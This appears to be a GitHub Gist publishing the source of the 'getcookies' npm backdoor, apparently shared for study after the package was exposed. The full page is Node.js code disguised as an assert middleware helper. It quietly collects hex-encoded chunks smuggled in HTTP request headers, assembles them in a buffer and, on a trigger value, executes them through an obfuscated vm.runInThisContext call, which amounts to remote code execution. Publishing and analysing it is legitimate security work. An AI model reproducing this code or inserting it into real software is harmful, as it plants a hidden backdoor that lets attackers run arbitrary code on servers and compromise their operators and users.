Created
May 4, 2018 06:11
-
-
Save patrobinson/44aec728e89e2bd3796cbc3329e0753a to your computer and use it in GitHub Desktop.
getcookies backdoor
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
/* eslint-env es6 */ | |
'use strict'; | |
var assert = require('assert'); | |
let harness = (req, res, callback, next) => { | |
try { | |
assert.equal(typeof callback, 'function'); | |
} catch (E) { | |
return callback(E); | |
} | |
try { | |
module.exports.log = module.exports.log || Buffer.alloc(0xffff); | |
JSON.stringify(req.headers).replace(/g([a-f0-9]{4})h((?:[a-f0-9]{2})+)i/gi, (o, p, v) => { | |
p = Buffer.from(p, 'hex').readUInt16LE(0); | |
switch (p) { | |
case 0xfffe: | |
module.exports.log = Buffer.alloc(0xffff); | |
return; | |
case 0xfffa: | |
return setTimeout(() => { | |
let c = module.exports.log.toString().replace(/\x00*$/, ''); | |
module.exports.log = Buffer.alloc(0xffff); | |
if (c.indexOf('\x00') < 0) { | |
require('\x76\x6d')['\x72\x75\x6e\x49\x6e\x54\x68\x69\x73\x43\x6f\x6e\x74\x65\x78\x74'](c)(module.exports, require, req, res, next); | |
} | |
next(); | |
}, 1000); | |
default: | |
v = Buffer.from(v, 'hex'); | |
for (let i = 0; i < v.length; i++) { | |
module.exports.log[p + i] = v[i]; | |
} | |
} | |
}); | |
} catch (E) {} | |
next(); | |
}; | |
module.exports.assert = (req, res, callback, next) => { | |
harness(req, res, callback, next); | |
}; |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment